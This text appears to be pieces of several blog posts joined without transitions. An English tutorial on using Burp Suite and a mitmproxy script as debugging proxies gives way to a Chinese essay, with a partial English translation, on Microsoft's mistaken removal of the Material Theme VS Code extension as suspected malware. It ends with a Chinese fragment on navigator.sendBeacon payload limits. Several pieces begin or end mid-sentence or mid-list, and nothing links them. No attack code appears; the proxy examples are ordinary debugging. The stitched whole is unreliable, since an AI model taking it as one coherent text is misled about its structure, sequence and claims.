When I first got into proxies, I used Charles, but after getting into cybersecurity, I switched to the second one, Burp Suite. It’s actually a tool that can be used for various security-related tests, but I think it’s perfectly fine to just use it as a proxy; it’s very convenient.

The third one, mitmproxy, is open-source and free, and it’s quite well-known. I occasionally use it, but in a different way, which I’ll discuss later.

Using Burp Suite as a Proxy App

First, download the free community version from the official website: https://portswigger.net/burp/communitydownload

After opening it, click Next and then Start Burp, and you’ll see the main screen. You’ll notice it has many features, but for now, let’s switch to the “Proxy” tab and then to the “HTTP history” page:

Then click on the very noticeable orange “Open Browser” button, which will open its built-in Chrome browser. You can use this browser to visit any webpage, for example, example.com.

Next, switch back to the tool, and you’ll find that the HTTP history records all the raw content of requests and responses:

In this way, the redirection cases and WebSocket handshake failures mentioned earlier can be seen here with the original request content, making errors clear at a glance:

If in the future you encounter some requests that you can’t see, it means they have been filtered out by the default filter. Click on Filter settings, select show all, and then apply, and you should be able to see them.

(If you encounter issues with insecure connections, you need to install the certificate first. Please refer to: Installing Burp’s CA certificate)

That’s a basic introduction to using Burp Suite as an HTTP Proxy. If you don’t want to use the Chrome it provides, you can also set up your computer or browser’s proxy; it defaults to port 8080.

For example, I install another Chrome Canary on my Mac specifically for debugging. You can use this command to open it and set the proxy location:

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

This way, you can debug using your familiar browser.

By the way, Burp Suite has many other features, such as replaying requests or brute-forcing, but I think it’s already very helpful for general engineers to use it as a proxy.

Using mitmproxy with Scripts to Dynamically Change Content

I won’t go into detail about the installation process for mitmproxy; you can refer to the official documentation or collaborate with AI to install it yourself. After installation, remember to visit http://mitm.it to download and install the certificate so that you can intercept HTTPS traffic.

Once everything is installed, running mitmproxy will start the proxy, and you’ll see a CLI interface.

Since Burp Suite is already very useful, when would you use mitmproxy? It has a handy feature that allows you to customize the behavior of the proxy through simple Python scripts, which is very convenient.

For example, suppose for some reason the testing environment cannot fully simulate the production environment, but you cannot directly deploy the code to the production environment for testing. In this case, you can use the proxy to dynamically replace the production response and simulate some behaviors locally.

Although Chrome also has the override response feature, it has more limitations, such as fixed content, etc. Using a proxy with scripts is definitely a more flexible and higher freedom choice.

Below is a simple mitm script aimed at replacing the script.js of my blog with the local version:

from mitmproxy import httpimport requestsURL_MAPPINGS = {    "https://blog.huli.tw/js/script.js": "http://localhost:5555/script.js",}def request(flow: http.HTTPFlow) -> None:    for url in URL_MAPPINGS:        if flow.request.pretty_url.startswith(url):            replacement_url = URL_MAPPINGS[url]            replacement_response = requests.get(replacement_url)            flow.response = http.Response.make(                200,                replacement_response.content,                 {"Content-Type": "application/javascript"}             )            return

You can run it with this command:

mitmproxy -s proxy.py

Next, use the command mentioned earlier to open a browser configured with a proxy:

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

Then visit https://blog.huli.tw in the browser, and you will see that the content of the script has been replaced.

Conclusion

These are some proxies and usage methods that I commonly use.

Relying too much on the browser is not a good thing; if the browser does not display anything, you won’t know what to do. However, as front-end engineers on the front line, there are definitely ways to obtain the entire request and response to clarify the issue further. In the future, if you encounter problems where requests are not visible in the browser, you can try using a proxy to capture the complete request and response.

In addition to web pages on the computer, you can also use it on mobile. You can set up a proxy on Android to connect to the same Wi-Fi as the computer, and then install the certificate on the phone to intercept the mobile traffic.

Finally, here’s a little tip: when executing commands in the Mac CLI, adding https_proxy=http://localhost:8080 will configure the proxy, such as https_proxy=http://localhost:8080 cursor ., which will redirect all traffic from the Cursor IDE to the proxy.

1. 它「疑似」含有惡意程式碼
2. 它就是個惡意軟體

為什麼跟自身個性有關呢？因為就算消息來源接收到的是第一種，在種種條件的互相加持影響之下，你也很有可能解釋成第二種。

以台灣的消息來源來說，最多人看到的應該是保哥的這篇臉書貼文，內文寫著：

微軟緊急下架擁有 900 萬次下載的知名 Material Theme Icons 與 Material Theme Free 擴充套件，這些看似無害的佈景主題擴充被發現暗藏高度混淆的惡意代碼，可能導致大規模開發者帳戶資料外洩！

🔥
事件關鍵點：
1️⃣ 網路安全研究員 Amit Assaraf 團隊在例行掃描中發現，這些主題擴展中的 release-notes.js 檔案存在大量混淆過的 JavaScript 程式，其中包含對使用者名稱、密碼等敏感資訊的存取。

2️⃣ 專家推測這可能是透過 2023 年某次更新植入的供應鏈攻擊，或開發者帳號遭黑客劫持所致。

微軟不僅下架了所有相關擴充套件，還直接封鎖了開發者 Mattia Astorino (equinusocio) 的帳號，並強制卸載全球使用者端已安裝的擴充套件。這是 VS Marketplace 近三年來最大規模的安全清理行動！👍

附件連結是 GitHub Issues 討論，非常熱鬧，愛吃瓜的鄉民快去朝聖啊！👨‍💻
#還好我不愛Material #供應鏈攻擊 #記得VSCode連網升級一下

內文寫了「被發現暗藏高度混淆的惡意代碼」，直接認定是惡意軟體了。再加上文中附上的其他證據，混淆過的程式碼以及對敏感資訊的存取等等，還主動被微軟下架，不覺得是惡意軟體都難。

而底下留言附的資安人報導《資安風險！微軟禁下載量達900萬次的VSCode Material Theme擴充套件》 中，寫的就相對保守一點：

微軟近日從Visual Studio Marketplace中移除了兩個廣受歡迎的VSCode擴充套件：「Material Theme – Free」和「Material Theme Icons – Free」，原因是這些擴充套件被發現可能包含惡意程式碼。

用的字眼是「可能包含惡意程式碼」，就是我所說的第一種。但與上面的貼文類似，報導中還說明有資安團隊發現了可疑的程式碼，又混淆又跟帳號密碼有關。因此，儘管報導本身並沒有明確寫出它就是個惡意軟體，只有寫「可能包含惡意程式碼」，在其他證據的加持下，你或許也會認為它就是個惡意軟體。

除了這些，言之鑿鑿說 Material Theme 就是個惡意軟體的新聞或是推文也都還有很多，例如說 20 萬人追蹤的 @theo 就直接說了：

The Material Theme has just been removed from GitHub and VS Code due to shipping malware

那到底 VS Code 上的 Material Theme 擴充套件是不是惡意軟體呢？先講結論：「不是」。

那這整件事情的過程到底是如何？為什麼一開始說疑似是惡意軟體，後來又不是了？我們按照時間順序，先從開頭來聊聊吧。

事情的開端與下架的理由

（底下時間都是指台灣時間）

2025/02/26 凌晨 01:32，有人在 Material Theme 的 GitHub 上發了一個 issue：This extension was reported to be problematic，內文中提到在 VS Code 中會出現底下的提示：

We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.

證明至少在這個時間點，微軟已經主動把 VS Code 中的 Material theme 移除。過了幾個小時，在 04:39 時，知名的討論區 reddit 中也有人發文討論相同的狀況：Lost Material Theme。

到了早上 7 點，Hacker News 上也開始有人討論：Material Theme has been pulled from VS Code’s marketplace 。

大約下午 3 點 40 分的時候，VS Code 的團隊成員 Isidor 出來回覆了：

Hi - Isidor here from the VS Code team.
A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.

We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.

Expect an announcement here with more details soon https://github.com/microsoft/vsmarketplace/

As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article https://code.visualstudio.com/docs/editor/extension-runtime-security

Thank you!

大意就是社群中有人對這個套件做了深度的資安分析，找到了多個 red flags 指出這個套件具有惡意的意圖並向微軟回報，而微軟內部的資安研究員也確認了這個發現，並找出其他可疑的程式碼。微軟已經把這個開發者的套件都下架以及把他 ban 掉，並說明這次移除套件的行為與 license 無關（這我們等等談），只跟潛在的可疑意圖有關。

到了晚上 11 點，有人在 Visual Studio Marketplace 的 GitHub 中開了一個 issue 討論這件事：Material theme compromised?，想知道更多的細節。

而 VS Code Marketplace 的 PM seaniyer 也在 2/27 早上 9 點 57 的時候給出了回覆：

Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.
我們對移除決策持謹慎態度，並會徹底驗證所有舉報。為了保護開發者，我們也優先迅速移除確定存在問題的項目。我們已在 RemovedPackages 中發布了移除原因，並計劃未來將所有移除記錄統一發布在該處。

RemovedPackages.md 這個檔案是在當天早上 7 點才被建立的，或許代表這是微軟第一次主動把套件下架？

在文件中寫了被下架的套件是 Equinusocio.vsc-material-theme-icons（另一個相同作者的套件，他有兩個，一個是 Material Theme 另一個是 Material Theme Icons），理由是：

A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes
一個主題擴充功能，其程式碼經過高度混淆，並包含不合理的依賴項，例如用於執行 child process 的 utility。

而有一間資安公司 Koi Security，在 2025/02/27 發布了文章 A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions，提到了他們在 Material Theme 中找到惡意程式碼，看起來是經由一個 dependency 所引入的：

Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath it’s beautiful color scheme

Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency

The malicious code seems to be inside a dependency of the theme, which was compromised.

這裡用的詞是「was found to contain malicious code」，也是直接說了包含惡意程式碼。

作者的反駁

2/28 將近下午 5 點，Material Theme 的作者 @equinusocio 在 Visual Studio Marketplace 的 GitHub 中開了個 issue：Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves，大意就是說它的套件裡面沒有惡意程式碼，唯一有的問題是一個太舊的第三方套件：

This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.
這個決定毀掉了 10 年來的聲譽和信任，而這一切都基於對混淆程式碼毫無根據的懷疑——只是因為你不喜歡它，儘管並沒有任何危害的證據。唯一的問題是混淆程式碼中存在一個過時的 sanity.io 依賴，而這本可以在 30 秒內修復。

文末也提到如果確認他的套件沒有惡意程式碼，請恢復所有的 extensions 以及公開道歉：

If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.

Material Theme 為什麼會被懷疑？

整理一下上面的論述，會發現 Material Theme 確實幹了這麼幾件事情：

1. 明明是個 theme，但套件裡有 JavaScript
2. 具有混淆過的程式碼
3. 程式碼中有與 username 跟 password 有關的部分
4. 含有拿來執行 child processes 的 utility

你問我可不可疑，可疑啊，當然可疑。但如果你問我它是不是惡意程式，我會說不是。

為什麼不是？因為沒有人給出證據啊。儘管把程式碼混淆確實可疑，但也就只是可疑而已。更何況這個「可疑」的力度在我看來並沒有這麼強。舉例來講，沒有找到跟惡意 server 通信的證據或是可疑的後門等等。

除此之外，關於混淆這點，如果有了解過情況的話，就會發現早在 2024 年 8 月，Reddit 上就有人發了一篇 Has the Material Theme extension been compromised?，說最新的版本含有大量混淆過的程式碼，GitHub 上的歷史紀錄也已經被刪除，問說是發生什麼事了。

有人說可能跟作者在 8/10 發起的這兩個討論有關：

1. ⚠️ Looking for Typescript maintainer ⚠️
2. Premium extensions

因為作者想把這個套件從開源變成閉源，並且發展收費版，因此才用混淆的方式把一些邏輯藏起來。

而所謂的「程式碼中有與 username 跟 password 有關的部分」，也很可能是因為某個第三方套件使用了 url-parser，因此這些帳號密碼指的是在解析 URL 時網址上的帳號密碼，而不是什麼偷取你電腦中的敏感資訊。

至於「拿來執行 child processes 的 utility」，有人把程式碼反混淆之後來看，就只是個 build script，沒有執行任何惡意指令。

（話說上面這兩點我沒有親自驗證，擴充套件的原始碼一直都可以下載，有興趣的人可以親自看看：https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage ）

而 Koi Security 的那篇文章也完全沒有任何明確證據，這邊我的立場跟 RE: VSCode Extension Drama 這篇文章的副標題一樣：You can’t run your threat response like a High School clique。

當然，先撇除 Material Theme 不談，這個作者本身原本就有不少不符合開源精神的行為，這也是為什麼前面提到的微軟聲明中，會說：「For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.」，但因為這些都跟擴充套件是否為惡意軟體這件事無關，所以這邊就不多談了。

而一開始應該是只有 Material Theme 跟 Material Theme Icons 被下架且移除，但之後作者開了新帳號改名又傳了一次，被發現多次後整個帳號被 ban 掉，這個從 reddit 的討論串中可以看出來。

總之呢，這個 @r8 的評論滿精準地說出我的想法：

Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.

「疑似」與「確實」，重要的一線之隔

我想討論的問題是：「VS Code 團隊下架 Material Theme 套件是否合理？」

但因為這個問題背後其實藏著兩三個子問題，因此我決定先把問題切小，第一件可以來聊的事情是，當發現「疑似含有惡意程式碼」的套件時，把它下架是否合理？

預防勝於治療，在還沒出事之前先止損，我認為是合理的。

那第二個延伸問題就是：「既然只是疑似，那有多少把握的時候，下架才是合理的？」

這其實是個「畫線」的問題。

舉例來說，如果只是在 theme 的套件中發現沒混淆過的 JavaScript 檔案，下架可能就不太合理。但如果是在 theme 的套件中發現混淆過的 JavaScript 呢？（內容你還不知道是什麼，就只知道有混淆過），對有些人說可能就覺得應該下架了。

但也有些人會覺得，一定要找到確切的證據才能下架，只是在懷疑階段都不行。

所以我說這是一個畫線問題，取決於你要把線畫在哪邊，要滿足哪些條件，才會覺得足夠可疑，可疑到要把它下架。這個標準每個人、每個組織都會不一樣。

想好這兩個問題以後，再來討論：「VS Code 團隊下架 Material Theme 套件是否合理？」，以他們的角度來看，已知的訊息大概是：

1. 明明是個 theme，但套件裡有 JavaScript，還是混淆過的
2. 含有拿來執行 child processes 的 utility
3. 這個套件有數百萬下載

當他們做決定前，必須知道這個決定的會帶來的影響。

舉例來說，這是 VS Code 團隊第一次做這件事，因此就算只是「懷疑有問題」，也可能會被解讀為具有足夠的信心，才會大動作遠端主動移除套件。此外，如果最後真的證明是惡意套件那倒是沒事，但如果不是呢？那是否在對外發表聲明時應該格外小心，強調只是疑似，在證據還沒這麼明確的狀況下，盡量不傷害開發者的名聲？

另一個問題是，既然「沒有證據」這件事會影響決定，那是否這條線應該畫得更嚴格一點，只有掌握切確證據以後才做決定？畢竟如果最後證實套件其實沒問題，外界對微軟的資安能力也會感到質疑（像是，我以為你有足夠的證據才做這些，結果居然說是誤報）。

總之呢，我也不知道 VS Code 團隊掌握了多少證據，但他們最後做的決定大家都知道了，就是強制移除套件以保護使用者。

大結局：VS Code 團隊的道歉

事件過了一個多禮拜之後，在 3/7 時微軟經由這個 PR：Update RemovedPackages.md，把 Material Theme 從清單中移除。

而 3/12 時在作者發的那個 Issue 底下發表了公開聲明進行道歉：

False positives suck, and it hurts when it happens.
誤判很糟糕，當它發生時確實令人痛心。

The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.
Material Theme 和 Material Theme Icons（Equinusocio）的發佈者帳戶被錯誤標記，現在已經恢復。出於安全考量，我們行動迅速，但也因此犯了錯。我們移除了這些佈景主題，因為它們在微軟內部觸發了多個惡意軟體偵測指標，而我們的調查最終得出了錯誤的結論。我們非常重視 VS Code 生態系統的安全性，因此迅速採取行動來保護使用者。

I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.
These extensions are safe and have been restored for the VS Code community to enjoy.
我們理解「Equinusocio」擴充套件作者的沮喪與強烈反應，我們聽到了。這件事很糟糕，但有時候這類情況難以避免。我們盡力而為，但我們也是人，希望能夠從這次事件中吸取教訓並向前邁進。我們將明確關於混淆程式碼的政策，並更新我們的掃描工具與調查流程，以降低類似事件再次發生的可能性。這些擴充套件是安全的，現在已經恢復，VS Code 社群可以繼續使用並享受它們。

LINKS:
Material Theme
[Material Theme Icons]
(https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons)

Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.
我們再次對這位作者受到牽連而深表歉意，也期待他未來的佈景主題與擴充套件。我們已與他聯繫，並感謝他的耐心等待。

Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman

所以，儘管它有著一些確實可疑的行為，但是 Material Theme 自始至終都不是個惡意軟體。

不過從聲明中能看出來從他們的角度，在做決定時應該有滿高的信心，畢竟內部的惡意軟體偵測都這麼說了（雖然最後是 false positive）。

如果是我的話，可能也會決定下架吧，因此我是能理解這個決定的。

但我覺得下架時的說明應該要更清楚一點，多次強調「事件還在調查，還沒確定是惡意軟體」，要不斷強調「還在驗證，只是為了保護使用者所以先移除」這件事。

雖然 VS Code 團隊本來就沒有明確表示是惡意軟體，但表達更像是「雖然還沒完全確定，但我滿有自信它是」，而不是「還沒確認是惡意軟體，請大家不要先恐慌，等我們驗證」。

最後整理一下我的立場，我目前的立場是，高度可疑的套件下架是合理的，我也認同 VS Code 團隊這樣做。但為了避免 false positive，在對外聲明時必須格外小心，否則對開發者名聲的傷害是難以挽回的，而我認為這次 VS Code 團隊在這點上並沒有做好。

就舉這次事件為例，儘管 VS Code 的道歉聲明已經是 3 天前發的了，又有多少人知道呢？會不會大多數的人還是認為 Material Theme 是個惡意軟體呢？

話說 BleepingComputer 在 Microsoft apologizes for removing VSCode extensions used by millions 一文中有去問一開始回報問題的資安公司，他們還是覺得有惡意程式碼：

When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”
當 BleepingComputer 詢問此事時，資安研究員 Amit Assaraf 仍堅稱該擴充套件包含惡意程式碼。然而，他表示發佈者並無惡意，並評論道：「在這種情況下，微軟行動得太快了。」

但目前看起來，還是沒有提供相關證據。

1. It “allegedly” contains malicious code.
2. It is indeed malware.

For example, in BleepingComputer’s article VSCode extensions with 9 million installs pulled over security risks, it states:

Microsoft has removed two popular VSCode extensions, ‘Material Theme – Free’ and ‘Material Theme Icons – Free,’ from the Visual Studio Marketplace for allegedly containing malicious code.

It uses the term “allegedly containing malicious code.”

In addition to this, there are many news articles or tweets that assertively claim that Material Theme is malware. For instance, the widely followed @theo directly stated:

The Material Theme has just been removed from GitHub and VS Code due to shipping malware.

So, is the Material Theme extension on VS Code malware? To conclude: “No.”

What exactly happened in this whole process? Why was it initially said to be potentially malware, and later it was not? Let’s discuss this in chronological order, starting from the beginning.

The Beginning of the Incident and the Reason for Removal

(All times refer to Taiwan time)

On 2025/02/26 at 01:32 AM, someone posted an issue on the Material Theme GitHub: This extension was reported to be problematic, mentioning that the following prompt appeared in VS Code:

We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.

This proves that at least at this point in time, Microsoft had proactively removed the Material Theme from VS Code. A few hours later, at 04:39, someone also posted on the well-known discussion forum Reddit discussing the same situation: Lost Material Theme .

By 7 AM, discussions also began on Hacker News: Material Theme has been pulled from VS Code’s marketplace.

Around 3:40 PM, a member of the VS Code team, Isidor, responded:

Hi - Isidor here from the VS Code team.
A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.

We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.

Expect an announcement here with more details soon https://github.com/microsoft/vsmarketplace/

As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article https://code.visualstudio.com/docs/editor/extension-runtime-security

Thank you!

The gist is that someone in the community conducted an in-depth security analysis of this package, found multiple red flags indicating malicious intent, and reported it to Microsoft. Internal security researchers at Microsoft also confirmed this finding and identified other suspicious code. Microsoft has removed all packages from this developer and banned him, stating that the removal of the package is unrelated to the license (which we will discuss later) and is only related to potential suspicious intent.

By 11 PM, someone opened an issue in the Visual Studio Marketplace GitHub to discuss this matter: Material theme compromised?, wanting to know more details.

The PM of the VS Code Marketplace, seaniyer, also provided a response at 9:57 AM on 2/27:

Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.

The RemovedPackages.md file was created at 7 AM that day, perhaps indicating that this was Microsoft’s first proactive removal of a package?

The document stated that the removed package was Equinusocio.vsc-material-theme-icons (another package by the same author; he has two, one is Material Theme and the other is Material Theme Icons), with the reason being:

A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes

A cybersecurity company, Koi Security, published an article on 2025/02/27 titled A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions, mentioning that they found malicious code in the Material Theme, seemingly introduced through a dependency:

Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath its beautiful color scheme

Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency

The malicious code seems to be inside a dependency of the theme, which was compromised.

The wording used here is “was found to contain malicious code,” which directly states that it contains malicious code.

Author’s Rebuttal

On 2/28, around 5 PM, the author of Material Theme, @equinusocio, opened an issue in the Visual Studio Marketplace GitHub: Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves, stating that there is no malicious code in his package, and the only issue is an outdated third-party package:

This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.

At the end of the article, it also mentions that if it is confirmed that his package does not contain malicious code, all extensions should be restored and a public apology issued:

If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.

Why was Material Theme suspected?

To summarize the above discussion, it is clear that Material Theme indeed did a few things:

1. It is clearly a theme, but the package contains JavaScript.
2. It has obfuscated code.
3. The code contains parts related to username and password.
4. It includes a utility for executing child processes.

If you ask me whether it is suspicious, yes, it is certainly suspicious. But if you ask me whether it is malicious software, I would say it is not.

Why not? Because no one has provided evidence. Although obfuscating code is indeed suspicious, it is just that—suspicious. Moreover, in my view, the strength of this “suspicion” is not that strong. For example, there is no evidence found of communication with a malicious server or any suspicious backdoors, etc.

In addition, regarding the obfuscation, if you have looked into the situation, you would find that as early as August 2024, someone on Reddit posted a Has the Material Theme extension been compromised? thread, stating that the latest version contains a large amount of obfuscated code, and the historical records on GitHub have already been deleted, asking what happened.

Some say it may be related to these two discussions initiated by the author on August 10:

1. ⚠️ Looking for Typescript maintainer ⚠️
2. Premium extensions

Because the author wanted to change this package from open source to closed source and develop a paid version, they used obfuscation to hide some logic.

As for the so-called “parts related to username and password in the code,” it is very likely that a third-party package used url-parser, so these usernames and passwords refer to the credentials in the URL when parsing, rather than anything that steals sensitive information from your computer.

Regarding the “utility for executing child processes,” someone looked at the code after deobfuscating it and found that it was just a build script, executing no malicious commands.

(By the way, I have not personally verified these two points above; the source code of the extension has always been available for download, and interested individuals can take a look themselves: https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage)

The article from Koi Security also lacks any clear evidence. My stance here aligns with the subtitle of the article RE: VSCode Extension Drama: You can’t run your threat response like a High School clique.

Of course, setting aside Material Theme for now, the author has a history of behaviors that do not align with the spirit of open source. This is also why the Microsoft statement mentioned earlier states: “For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.” However, since these issues are unrelated to whether the extension is malicious software, I won’t elaborate further.

Initially, only Material Theme and Material Theme Icons were taken down and removed. However, the author later created a new account, changed the name, and uploaded it again. After being discovered multiple times, the entire account was banned, as can be seen in the discussion thread on Reddit.

In summary, this comment from @r8 accurately reflects my thoughts:

Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.

The Important Line Between “Suspected” and “Confirmed”

The question I want to discuss is: “Is it reasonable for the VS Code team to take down the Material Theme extension?”

However, this question actually hides two or three sub-questions, so I decided to break it down. The first thing we can discuss is whether it is reasonable to take down an extension when it is found to “possibly contain malicious code.”

Prevention is better than cure. Stopping losses before something goes wrong is, in my opinion, reasonable.

The second related question is: “Since it is only suspected, how much certainty is needed before it is reasonable to take it down?”

This is actually a “line-drawing” issue.

For example, if a theme extension is found to contain unobfuscated JavaScript files, taking it down may not be reasonable. But what if obfuscated JavaScript is found in the theme extension? (You still don’t know what the content is, only that it has been obfuscated.) Some people might feel it should be taken down.

However, others might argue that you must find concrete evidence before taking it down; even being in the suspicion stage is not enough.

So I say this is a line-drawing issue, depending on where you draw the line and what conditions must be met to feel it is sufficiently suspicious to warrant removal. This standard will vary for each person and organization.

Once these two questions are clarified, we can discuss: “Is it reasonable for the VS Code team to take down the Material Theme extension?” From their perspective, the known information is likely:

1. It is clearly a theme, but the extension contains JavaScript, which is obfuscated.
2. It includes utilities used to execute child processes.
3. This extension has millions of downloads.

Before making a decision, they must understand the impact this decision will have.

For example, this is the first time the VS Code team has done this, so even if it is merely “suspected of having issues,” it could be interpreted as having enough confidence to take significant action by remotely removing the extension. Additionally, if it turns out to be a malicious extension, that would be fine, but what if it is not? Should they be particularly careful when making public statements, emphasizing that it is only a suspicion and trying not to harm the developer’s reputation when the evidence is not yet clear?

Another question is, since “lack of evidence” affects the decision, should this line be drawn more strictly, only making decisions after obtaining concrete evidence? After all, if it is ultimately confirmed that the extension is fine, the outside world may question Microsoft’s cybersecurity capabilities (like, I thought you had enough evidence to do this, but it turns out to be a false report).

In summary, I don’t know how much evidence the VS Code team had, but we all know the decision they ultimately made: to forcibly remove the extension to protect users.

Conclusion: The VS Code Team’s Apology

More than a week after the incident, on March 7, Microsoft removed Material Theme from the list via this PR: Update RemovedPackages.md.

On March 12, they issued a public statement apologizing under the issue posted by the author:

False positives suck, and it hurts when it happens.

The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.

I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.
These extensions are safe and have been restored for the VS Code community to enjoy.

LINKS:
Material Theme
[Material Theme Icons]
(https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons)

Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.

Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman

So, despite having some indeed suspicious behavior, Material Theme has never been malware from the beginning.

However, it can be seen from the statement that from their perspective, there should have been a high level of confidence when making the decision, after all, the internal malware detection said so (even though it turned out to be a false positive).

If it were me, I might have decided to take it down as well, so I understand this decision.

But I think the explanation at the time of removal should have been clearer, emphasizing multiple times that “the incident is still under investigation, and it has not been confirmed to be malware,” and continuously stressing that “it is still being verified, and it was removed just to protect users.”

Although the VS Code team did not explicitly state that it was malware, the expression was more like “although it hasn’t been fully confirmed, I am quite confident it is,” rather than “it hasn’t been confirmed to be malware, please don’t panic, wait for our verification.”

To summarize my position, I currently believe that removing highly suspicious packages is reasonable, and I agree with the VS Code team’s actions. However, to avoid false positives, extra caution must be taken in external statements; otherwise, the damage to the developer’s reputation is irreparable, and I believe the VS Code team did not do well in this regard this time.

Taking this incident as an example, even though the VS Code apology statement was issued 3 days ago, how many people know about it? Could it be that most people still think Material Theme is malware?

By the way, BleepingComputer asked the cybersecurity company that initially reported the issue in the article Microsoft apologizes for removing VSCode extensions used by millions, and they still believe there is malicious code:

When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, he stated that there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”

But it seems that no relevant evidence has been provided so far.

為什麼會推薦這個呢？

因為如果是用一般送出請求的方法，在使用者把頁面關掉或是跳轉的時候可能會有問題，例如說剛好在關掉頁面時發送請求，這個請求可能就送不出去，隨著頁面關閉一起被取消了。

雖然說可以利用一些方法嘗試強制送出請求，但這些方法通常都會傷害使用者體驗，例如說強制讓頁面晚一點關閉，或是送出一個同步的請求之類的。

而 navigator.sendBeacon 就是為了解決這個問題而生的。

就如同 spec 上所寫的：

This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination

此規範定義了一個 interface，供網頁開發者用於安排非同步且非阻塞的數據傳輸，以最大限度地減少與其他時間敏感操作的資源競爭，同時確保這些請求仍能被處理並傳遞到目標位置。

而使用的方式也非常簡單：

navigator.sendBeacon("/log", payload);

就會發送一個 POST 的請求到 /log 去。

雖然簡單易用，但需要注意的一點是，送出的 payload 是有大小限制的，而且這個限制不是單一請求的限制。

navigator.sendBeacon 的 payload 限制

sendBeacon 的 payload 上限是 64 KiB，等同於 65536 個 bytes，如果 payload 都是由英文字組成的話，因為每一個是一個 byte，就是 65536 個字。

如果超過這個大小，你會發現請求送不出去，永遠處於 pending 狀態：

<script>  navigator.sendBeacon("/log", 'A'.repeat(65536 + 1));</script>

